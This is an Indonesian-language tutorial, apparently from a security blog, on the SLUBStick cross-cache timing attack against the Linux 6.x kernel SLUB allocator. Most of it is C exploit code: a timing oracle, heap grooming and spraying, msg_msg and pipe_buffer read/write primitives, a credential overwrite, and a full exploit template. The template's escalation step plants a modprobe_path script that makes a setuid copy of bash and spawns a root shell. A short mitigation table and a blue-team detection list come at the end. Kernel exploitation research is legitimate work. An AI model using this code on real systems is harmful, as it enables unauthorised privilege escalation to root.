SLUBStick
Tutorial lengkap teknik cross-cache exploitation pada Linux Kernel 6.x menggunakan timing side-channel untuk melewati mitigasi heap isolation modern.
Pengenalan SLUBStick
SLUBStick adalah teknik eksploitasi kernel Linux yang dipublikasikan pada USENIX Security 2024 oleh Lukas Maar, Stefan Gast, dkk. dari Graz University of Technology. Teknik ini memanfaatkan timing side-channel pada SLUB allocator untuk mengonversi limited heap vulnerability (UAF, OOB write, double-free) menjadi primitif baca/tulis memori arbiter — bahkan pada kernel dengan mitigasi canggih seperti SLAB_FREELIST_RANDOM, SLAB_FREELIST_HARDENED, dan INIT_ON_FREE.
Mengapa SLUBStick Signifikan?
- Bypass heap isolation yang diperkenalkan sebagai mitigasi post-Spectre/Meltdown
- Sukses rate tinggi (~99%) vs cross-cache tradisional yang tidak reliable
- Bekerja di kernel 5.x dan 6.x dengan berbagai konfigurasi hardening
- Generic — tidak butuh gadget kernel spesifik
- Didemonstrasikan end-to-end pada Ubuntu 23.10, Fedora 38, Debian 12
SLUB Allocator — Arsitektur Internal
SLUB (Unqueued Slab Allocator) adalah implementasi slab allocator default di Linux sejak kernel 2.6.23. Ia mengelola alokasi objek kernel berukuran kecil-menengah secara efisien dengan mengelompokkan objek sejenis ke dalam slab (halaman memori).
Alur Alokasi — 3 Path
Fast Path — CPU Freelist
Cek cpu_slab->freelist. Jika tidak NULL, ambil objek dari sana (O(1), tanpa lock). Latency ~50–200 ns.
Slow Path — Partial Slabs
Jika CPU freelist kosong, cari partial slab di cpu_slab->partial atau node->partial. Butuh lock n->list_lock.
New Slab — Buddy Allocator
Jika partial kosong, minta halaman baru dari buddy allocator (alloc_slab_page()). Latency ~800–5000 ns. Inilah kunci SLUBStick.
struct kmem_cache { struct kmem_cache_cpu __percpu *cpu_slab; slab_flags_t flags; unsigned int size; /* object size incl. metadata */ unsigned int object_size; unsigned int offset; /* freeptr offset in object */ const char *name; struct kmem_cache_node *node[MAX_NUMNODES]; }; struct kmem_cache_cpu { void **freelist; /* ptr ke free object berikut */ unsigned long tid; /* transaction id (ABA) */ struct slab *slab; /* active slab page */ struct slab *partial; /* per-CPU partial list */ local_lock_t lock; }; /* Freepointer encoding (CONFIG_SLAB_FREELIST_HARDENED) */ /* encoded = fp ^ s->random ^ swab(freeptr_addr) */
Cross-Cache Attack — Konsep Dasar
Cross-cache attack memanfaatkan fakta bahwa saat seluruh objek dalam slab habis di-free, halaman dikembalikan ke buddy allocator dan bisa dialokasikan ulang oleh kmem_cache yang berbeda.
Gambaran Umum SLUBStick
| Komponen | Tujuan | Mekanisme |
|---|---|---|
| Timing Oracle | Deteksi kondisi slab | Ukur latency kmalloc: fast-path vs new-slab |
| Slab Grooming | Kontrol state heap | Alokasi/free terstruktur untuk drain partial slabs |
| Cross-Cache Spray | Paksakan page reuse | Setelah deteksi slow-path, flood cache target |
Timing Side-Channel — Detail
| Kondisi | Path | Latency Tipikal | Penjelasan |
|---|---|---|---|
| Partial slab tersedia | Fast path | ~50–200 ns | Ambil dari CPU freelist, tanpa lock berat |
| Partial kosong → new slab | Slow path | ~800–5000 ns | Minta halaman baru dari buddy, inisialisasi slab |
RDTSC atau clock_gettime(CLOCK_MONOTONIC). Ketika slow-path terdeteksi setelah kita drain partial slabs, itu berarti buddy allocator memberi halaman baru — yang bisa jadi halaman dari cache A yang baru kita kembalikan!/* RDTSC dengan serialisasi (penting untuk presisi) */ static inline uint64_t rdtsc_ordered(void) { uint32_t lo, hi; __asm__ __volatile__( "mfence\n\t" "rdtsc\n\t" "mfence" : "=a"(lo), "=d"(hi) :: "memory" ); return ((uint64_t)hi << 32) | lo; } #define THRESHOLD_CYCLES 3000ULL /* kalibrasi dulu! */ /* Ukur latency satu alokasi msg_msg via msgsnd() */ uint64_t measure_alloc(int msqid) { struct { long t; char d[64]; } msg = {.t=1}; uint64_t t0 = rdtsc_ordered(); msgsnd(msqid, &msg, 64, 0); return rdtsc_ordered() - t0; } /* Kalibrasi: hitung threshold otomatis */ uint64_t calibrate_threshold(void) { const int N = 64; uint64_t fast_sum = 0; int qids[N]; /* Step 1: Warm up → fast allocations */ for (int i = 0; i < N; i++) { qids[i] = msgget(IPC_PRIVATE, IPC_CREAT|0666); fast_sum += measure_alloc(qids[i]); } uint64_t fast_avg = fast_sum / N; /* Step 2: Drain semua → force new slab */ for (int i = 0; i < N; i++) msgctl(qids[i], IPC_RMID, NULL); /* Step 3: Ukur slow allocation */ int qid = msgget(IPC_PRIVATE, IPC_CREAT|0666); uint64_t slow = measure_alloc(qid); msgctl(qid, IPC_RMID, NULL); printf("[*] fast_avg=%lu slow=%lu threshold=%lu\n", fast_avg, slow, (fast_avg+slow)/2); return (fast_avg + slow) / 2; }
Fase Serangan — Detail Teknis
Identify Bug & Cache
Tentukan jenis bug (UAF/OOB/double-free) dan cache yang terlibat. Identifikasi kmem_cache dari objek vulnerable melalui source kernel atau debugger output (slabinfo, kasan report).
Heap Grooming — Drain Partial Slabs
Alokasikan sejumlah objek (N_slab × objects_per_slab), lalu bebaskan dalam kelompok satu slab penuh agar SLUB mengembalikan halaman ke buddy. Ini memastikan timing oracle reliable.
#define OBJ_PER_SLAB 8 /* kmalloc-1024: 8KB slab / 1024B */ #define N_SLABS 32 /* jumlah slab yang di-drain */ int groom_qids[N_SLABS * OBJ_PER_SLAB]; void drain_partial_slabs(void) { int total = N_SLABS * OBJ_PER_SLAB; struct { long t; char d[1016]; } m = {.t=1}; /* Alokasikan cukup banyak objek */ for (int i = 0; i < total; i++) { groom_qids[i] = msgget(IPC_PRIVATE, IPC_CREAT|0666); msgsnd(groom_qids[i], &m, 1016, 0); } /* Bebaskan per-slab penuh (bukan acak!) */ for (int s = 0; s < N_SLABS; s++) { int base = s * OBJ_PER_SLAB; for (int j = 0; j < OBJ_PER_SLAB; j++) msgctl(groom_qids[base+j], IPC_RMID, NULL); } printf("[+] Drained %d slabs → buddy allocator\n", N_SLABS); }
Trigger Vulnerability → Dangling Pointer
Trigger bug target. Setelah ini dangling pointer menunjuk ke objek di slab yang akan di-cross-cache. Bebaskan semua objek lain di slab yang sama agar slab menjadi kosong dan kembali ke buddy.
Timing Loop — Deteksi Page Reuse
#define MAX_ITER 10000 #define SPRAY_N 256 int spray_qids[SPRAY_N]; int slubstick_loop(uint64_t threshold) { struct { long t; char d[1016]; } m = {.t=1}; for (int i = 0; i < MAX_ITER; i++) { int qid = msgget(IPC_PRIVATE, IPC_CREAT|0666); uint64_t t0 = rdtsc_ordered(); msgsnd(qid, &m, 1016, 0); uint64_t lat = rdtsc_ordered() - t0; if (lat > threshold) { printf("[!] SLOW @ iter=%d lat=%lu → SPRAY!\n", i, lat); /* Segera spray objek target */ for (int s = 0; s < SPRAY_N; s++) { spray_qids[s] = msgget(IPC_PRIVATE, IPC_CREAT|0666); msgsnd(spray_qids[s], &m, 1016, 0); } msgctl(qid, IPC_RMID, NULL); return 1; /* success */ } msgctl(qid, IPC_RMID, NULL); } return 0; /* gagal */ }
Build Arb R/W & Escalate
Setelah cross-cache confusion: dangling pointer menunjuk ke objek dari cache berbeda. Gunakan ini untuk corrupt field kritis (misal msg_msg.m_ts) dan bangun arbitrary read/write primitive. Kemudian overwrite cred atau modprobe_path untuk root.
Setup Lingkungan
#!/bin/bash # Build Linux 6.x untuk kernel exploit research wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.10.tar.xz tar xf linux-6.10.tar.xz && cd linux-6.10 make defconfig # Append debug & hardening config cat >> .config <<'EOF' CONFIG_SLUB=y CONFIG_SLUB_DEBUG=y CONFIG_SLAB_FREELIST_RANDOM=y CONFIG_SLAB_FREELIST_HARDENED=y CONFIG_KALLSYMS=y CONFIG_KALLSYMS_ALL=y CONFIG_DEBUG_INFO=y CONFIG_GDB_SCRIPTS=y CONFIG_RANDOMIZE_BASE=n CONFIG_PAGE_TABLE_ISOLATION=n EOF make olddefconfig make -j$(nproc) echo "[+] bzImage: arch/x86/boot/bzImage"
#!/bin/bash qemu-system-x86_64 \ -kernel linux-6.10/arch/x86/boot/bzImage \ -drive file=rootfs.img,format=raw \ -append "root=/dev/sda rw console=ttyS0 nokaslr nosmap nosmep slub_debug=FZPU oops=panic panic=1" \ -m 2G -smp 2 \ -net nic,model=virtio -net user,hostfwd=tcp::1337-:22 \ -nographic \ -s # GDB port 1234 # GDB: gdb vmlinux -ex "target remote :1234" -ex "c"
Exploit Primitives — msg_msg
#define MSG_HDR_SZ 0x30 struct msg_hdr { uint64_t m_list_next; /* 0x00 */ uint64_t m_list_prev; /* 0x08 */ int64_t m_type; /* 0x10 */ uint64_t m_ts; /* 0x18 ← target corrupt */ uint64_t next_seg; /* 0x20 */ uint64_t security; /* 0x28 */ }; /* Alokasi msg_msg dengan ukuran tertentu */ int alloc_msg(int msqid, long mtype, const void *data, size_t sz) { uint8_t *buf = malloc(sz + 8); *(long*)buf = mtype; memcpy(buf + 8, data, sz); int r = msgsnd(msqid, buf, sz, 0); free(buf); return r; } /* * OOB Read via m_ts overflow: * Setelah cross-cache, dangling ptr → msg_msg ObjB. * Corrupt m_ts = 0x2000 → msgrcv() baca lebih jauh. * Ekspos data dari objek/slab tetangga. */ ssize_t oob_read(int msqid, long mtype, void *out, size_t fake_sz) { uint8_t *buf = malloc(fake_sz + 8); ssize_t r = msgrcv(msqid, buf, fake_sz, mtype, MSG_COPY|IPC_NOWAIT); if (r > 0) memcpy(out, buf + 8, r); free(buf); return r; } /* msg_msg size mapping untuk pilih kmalloc bucket: * payload 16B → obj 64B → kmalloc-64 * payload 88B → obj 128B → kmalloc-128 * payload 224B → obj 256B → kmalloc-256 * payload 480B → obj 512B → kmalloc-512 * payload 976B → obj 1024B→ kmalloc-1024 */
Heap Spray Sistematis
/* * Fence Grooming Strategy: * * [FENCE_1 objects] [VULNERABLE object] [FENCE_2 objects] * * 1. Spray FENCE_1 untuk isolasi heap * 2. Trigger vulnerability (alokasi objek target) * 3. Spray FENCE_2 * 4. Free FENCE_1 per-slab-penuh → pages kembali ke buddy * 5. Timing loop + spray target objects */ #define FENCE_SZ 64 /* jumlah objek per fence */ #define SPRAY_SZ 512 int fence1[FENCE_SZ], fence2[FENCE_SZ], spray[SPRAY_SZ]; void fence_spray_alloc(int *arr, int n, size_t payload_sz) { uint8_t *data = calloc(1, payload_sz); for (int i = 0; i < n; i++) { arr[i] = msgget(IPC_PRIVATE, IPC_CREAT|0666); alloc_msg(arr[i], i+1, data, payload_sz); } free(data); printf("[+] Sprayed %d msg_msg (sz=%zu)\n", n, payload_sz); } void fence_free_full_slabs(int *arr, int n) { int ops = OBJ_PER_SLAB; for (int s = 0; s < n/ops; s++) for (int j = 0; j < ops; j++) msgctl(arr[s*ops+j], IPC_RMID, NULL); printf("[+] Freed fence → %d slabs to buddy\n", n/ops); }
Timing Measurement — Implementasi Lengkap
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <sched.h> #include <sys/msg.h> static inline uint64_t tsc(void) { uint32_t lo, hi; __asm__ volatile("mfence;rdtsc;mfence":"=a"(lo),"=d"(hi)::"memory"); return ((uint64_t)hi<<32)|lo; } static int cmp64(const void*a,const void*b){ uint64_t x=*(uint64_t*)a,y=*(uint64_t*)b; return(x>y)-(x<y); } uint64_t calibrate(void) { const int N=128; uint64_t samples[N]; int qids[N]; struct{long t;char d[64];}m={.t=1}; for(int i=0;i<N;i++) qids[i]=msgget(IPC_PRIVATE,IPC_CREAT|0666); for(int i=0;i<N;i++){ uint64_t t=tsc();msgsnd(qids[i],&m,64,0);samples[i]=tsc()-t; } for(int i=0;i<N;i++) msgctl(qids[i],IPC_RMID,NULL); uint64_t fast_med=samples[N/2]; uint64_t slow_samples[16]; for(int i=0;i<16;i++){ int q=msgget(IPC_PRIVATE,IPC_CREAT|0666); uint64_t t=tsc();msgsnd(q,&m,64,0);slow_samples[i]=tsc()-t; msgctl(q,IPC_RMID,NULL); } qsort(samples,N,8,cmp64); qsort(slow_samples,16,8,cmp64); uint64_t thr=(fast_med+slow_samples[8])/2; printf("[+] fast=%lu slow=%lu threshold=%lu\n",fast_med,slow_samples[8],thr); return thr; } int main(void) { cpu_set_t s; CPU_ZERO(&s); CPU_SET(0,&s); sched_setaffinity(0,sizeof(s),&s); /* pin CPU0 */ uint64_t thr=calibrate(); int fast=0,slow=0; struct{long t;char d[64];}m={.t=1}; printf("[*] Timing loop 5000 iters...\n"); for(int i=0;i<5000;i++){ int q=msgget(IPC_PRIVATE,IPC_CREAT|0666); uint64_t t=tsc();msgsnd(q,&m,64,0); uint64_t lat=tsc()-t; if(lat>thr){slow++; if(slow<=5)printf(" SLOW iter=%d lat=%lu\n",i,lat); }else fast++; msgctl(q,IPC_RMID,NULL); } printf("[+] fast=%d slow=%d (slow=%.1f%%)\n", fast,slow,slow/5000.0f*100); return 0; }
Full Exploit Template
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <sched.h> #include <fcntl.h> #include <sys/msg.h> #include <sys/ipc.h> /* ───── CONFIG ───── */ #define OBJ_PER_SLAB 8 #define N_GROOM_SLABS 32 #define SPRAY_N 256 #define MAX_LOOP 20000 #define TIMING_THRESH 3000ULL /* cycles — kalibrasi dulu */ static inline uint64_t rdtsc() { uint32_t lo,hi; __asm__ volatile("mfence;rdtsc;mfence":"=a"(lo),"=d"(hi)::"memory"); return((uint64_t)hi<<32)|lo; } /* ───── VULNERABILITY STUBS ───── * Implementasikan sesuai bug target */ void vuln_open(void) { /* IMPLEMENT: buka device vulnerable */ } void vuln_trigger(void) { /* IMPLEMENT: trigger UAF/OOB → dangling ptr */ } void vuln_write(uint64_t off, uint64_t val) { /* IMPLEMENT: tulis via dangling ptr */ } uint64_t vuln_read(uint64_t off) { return 0; /* IMPLEMENT */ } /* ───── GROOM ───── */ int groom[N_GROOM_SLABS * OBJ_PER_SLAB]; int spray_qids[SPRAY_N]; void do_groom(void) { int total = N_GROOM_SLABS * OBJ_PER_SLAB; struct{long t;char d[1016];}m={.t=1}; for(int i=0;i<total;i++){ groom[i]=msgget(IPC_PRIVATE,IPC_CREAT|0666); msgsnd(groom[i],&m,1016,0); } for(int s=0;s<N_GROOM_SLABS;s++) for(int j=0;j<OBJ_PER_SLAB;j++) msgctl(groom[s*OBJ_PER_SLAB+j],IPC_RMID,NULL); printf("[+] Groomed: %d slabs returned to buddy\n",N_GROOM_SLABS); } void do_spray(void) { struct{long t;char d[1016];}m={.t=1}; /* Optionally: fill d[] with fake msg_hdr for OOB */ for(int i=0;i<SPRAY_N;i++){ spray_qids[i]=msgget(IPC_PRIVATE,IPC_CREAT|0666); msgsnd(spray_qids[i],&m,1016,0); } printf("[+] Sprayed %d target objects\n",SPRAY_N); } /* ───── PRIV ESC via modprobe_path ───── */ uint64_t leak_sym(const char*sym){ FILE*f=fopen("/proc/kallsyms","r"); if(!f)return 0; uint64_t a;char t,n[256]; while(fscanf(f,"%lx %c %255s\n",&a,&t,n)==3) if(!strcmp(n,sym)){fclose(f);return a;} fclose(f);return 0; } void escalate(void){ uint64_t modprobe=leak_sym("modprobe_path"); printf("[*] modprobe_path @ 0x%lx\n",modprobe); FILE*f=fopen("/tmp/x","w"); fprintf(f,"#!/bin/sh\ncp /bin/bash /tmp/r\nchmod +s /tmp/r\n"); fclose(f);chmod("/tmp/x",0777); f=fopen("/tmp/trig","w"); char mag[]={0xff,0xff,0xff,0xff}; fwrite(mag,1,4,f);fclose(f);chmod("/tmp/trig",0777); /* arb_write(modprobe, "/tmp/x\0", 8); -- gunakan write primitive */ system("/tmp/trig"); if(!access("/tmp/r",F_OK)){ printf("[+] ROOT! Spawning shell...\n"); execl("/tmp/r","r","-p",NULL); } } /* ───── MAIN ───── */ int main(void){ printf("[*] SLUBStick Template — Linux 6.x\n"); cpu_set_t cs; CPU_ZERO(&cs); CPU_SET(0,&cs); sched_setaffinity(0,sizeof(cs),&cs); printf("[1] Opening vuln...\n"); vuln_open(); printf("[2] Grooming heap...\n"); do_groom(); printf("[3] Trigger vuln...\n"); vuln_trigger(); printf("[4] SLUBStick timing loop...\n"); struct{long t;char d[64];}m={.t=1}; int ok=0; for(int i=0;i<MAX_LOOP;i++){ int q=msgget(IPC_PRIVATE,IPC_CREAT|0666); uint64_t t=rdtsc();msgsnd(q,&m,64,0); uint64_t lat=rdtsc()-t; if(lat>TIMING_THRESH){ printf("[!] Slow @ iter=%d lat=%lu → cross-cache!\n",i,lat); do_spray(); ok=1; msgctl(q,IPC_RMID,NULL); break; } msgctl(q,IPC_RMID,NULL); } if(!ok){printf("[-] Cross-cache not detected.\n");return 1;} printf("[5] Verify via dangling ptr...\n"); uint64_t v=vuln_read(0x10); printf("[*] Read @ +0x10: 0x%lx\n",v); printf("[6] Escalating...\n"); escalate(); return 0; }
Target Kernel Objects
| Object | Cache/Size | Syscall Alloc | Kegunaan |
|---|---|---|---|
msg_msg | kmalloc-N (flex) | msgsnd() | OOB R/W via m_ts corruption |
pipe_buffer | kmalloc-64 | pipe() | Arb R/W via page+ops field |
tty_struct | kmalloc-1024 | open(/dev/ptmx) | ops ptr hijack → RIP via ioctl |
user_key_payload | kmalloc-N | add_key() | Flexible size, OOB read |
seq_operations | kmalloc-32 | open(/proc/self/stat) | Function ptr hijack (start/show) |
subprocess_info | kmalloc-96 | indirect (modprobe) | path field → arbitrary exec |
sk_buff | kmalloc-256 | sendmsg() | Network data manipulation |
Pipe Read/Write Primitive
/* * struct pipe_buffer (include/linux/pipe_fs_i.h): * 0x00 page* → halaman yang di-hold ← overwrite untuk arb read * 0x08 offset (4B) * 0x0C len (4B) * 0x10 ops* → pipe_buf_operations ← overwrite untuk hijack RIP * 0x18 flags (4B) * 0x20 private * sizeof = 40B → kmalloc-64 */ #define PIPE_N 256 int pr[PIPE_N], pw[PIPE_N]; void alloc_pipes(void) { char b[1]={0}; int fds[2]; for(int i=0;i<PIPE_N;i++){ pipe(fds); pr[i]=fds[0]; pw[i]=fds[1]; write(fds[1],b,1); /* alokasi pipe_buffer */ } } /* Arb Read: set pipe_buffer.page = target_page * lalu read() dari pipe → kernel baca halaman target */ void pipe_arb_read(int idx, uint64_t target_page, void*out, size_t sz) { vuln_write(0x00, target_page); /* pipe_buffer.page */ vuln_write(0x08, (uint64_t)sz<<32); /* offset=0, len=sz */ read(pr[idx], out, sz); } /* RIP Hijack: overwrite pipe_buffer.ops → fake ops * close(write_fd) → kernel panggil ops->release() */ typedef struct{uint64_t confirm,release,try_steal,get;} fake_ops_t; void pipe_hijack_rip(int idx, uint64_t target_fn) { static fake_ops_t fops; fops.release = target_fn; vuln_write(0x10, (uint64_t)&fops); /* pipe_buffer.ops */ close(pw[idx]); /* TRIGGER → ops->release() dipanggil */ }
Credential Overwrite
/* * struct cred layout (include/linux/cred.h): * 0x00 usage (refcount) * 0x04 uid ← set 0 * 0x08 gid ← set 0 * 0x0C suid ← set 0 * 0x10 sgid ← set 0 * 0x14 euid ← set 0 * 0x18 egid ← set 0 * 0x1C fsuid ← set 0 * 0x20 fsgid ← set 0 * 0x24 securebits * 0x28 cap_inheritable ← set 0xFFFFFFFFFFFFFFFF * 0x30 cap_permitted ← set 0xFFFFFFFFFFFFFFFF * 0x38 cap_effective ← set 0xFFFFFFFFFFFFFFFF */ #define CAP_FULL 0xFFFFFFFFFFFFFFFFULL /* TASK_CRED_OFFSET = 0x728 pada kernel 6.1 x86_64 * cek: pahole -C task_struct vmlinux | grep " cred" */ void overwrite_cred(uint64_t cred_addr){ /* Zero out uid/gid fields */ for(int off=0x04;off<=0x24;off+=4) arb_write32(cred_addr+off, 0); /* Full capabilities */ arb_write64(cred_addr+0x28, CAP_FULL); arb_write64(cred_addr+0x30, CAP_FULL); arb_write64(cred_addr+0x38, CAP_FULL); arb_write64(cred_addr+0x40, CAP_FULL); if(getuid()==0) printf("[+] ROOT! uid=%d\n",getuid()); } uint64_t find_cred(void){ /* Leak current task ptr → cred ptr */ uint64_t task = arb_read64(per_cpu_base() + 0); /* current_task */ uint64_t cred = arb_read64(task + 0x728); /* kernel 6.1 */ printf("[*] task=0x%lx cred=0x%lx\n",task,cred); return cred; }
Mitigasi & Bypass
| Mitigasi | Efek vs SLUBStick | Bypass |
|---|---|---|
SLAB_FREELIST_RANDOM | Acak urutan freelist di slab baru | Tidak blokir cross-cache — spray lebih banyak |
SLAB_FREELIST_HARDENED | XOR-encode freepointer | Tidak relevan saat objek sudah dialokasikan |
| KASLR | Acak base kernel | Butuh info leak terpisah (SLUBStick sendiri tidak bergantung) |
| SMEP/SMAP | Blokir exec/akses userspace | Gunakan kROP atau kernel gadgets |
INIT_ON_FREE | Zero memori saat free | Hapus data lama tapi tidak cegah cross-cache confusion |
| Strict type isolation | Blokir total cross-cache | Belum ada di mainline — solusi paling efektif |
Deteksi SLUBStick (Blue Team)
- Monitor anomali pola alokasi IPC (
msg_msgflood tidak wajar) - Deteksi penggunaan
MSG_COPYyang tidak umum - Kernel lockdown mode — batasi akses
/proc/kallsyms - eBPF-based syscall monitoring untuk pola heap anomali
- Audit log msgsnd/msgget dalam jumlah ekstrem dalam waktu singkat
Referensi
| Judul | Sumber |
|---|---|
| SLUBStick: Arbitrary Memory Writes through Practical Software Cross-Cache Attacks | USENIX Security 2024 — Maar, Gast et al. |
| Linux Kernel Source — mm/slub.c | kernel.org / elixir.bootlin.com |
| A Journey into the Linux Kernel Heap | Phrack #69 |
| msg_msg-based Kernel Exploits | corCTF, HITCON writeups |
| Cross-Cache Attack Techniques | Google Project Zero blog |
| Understanding GFP flags and Slab Behavior | LWN.net |
Blue Dragon Security | @w1sdom | Untuk riset keamanan dan pendidikan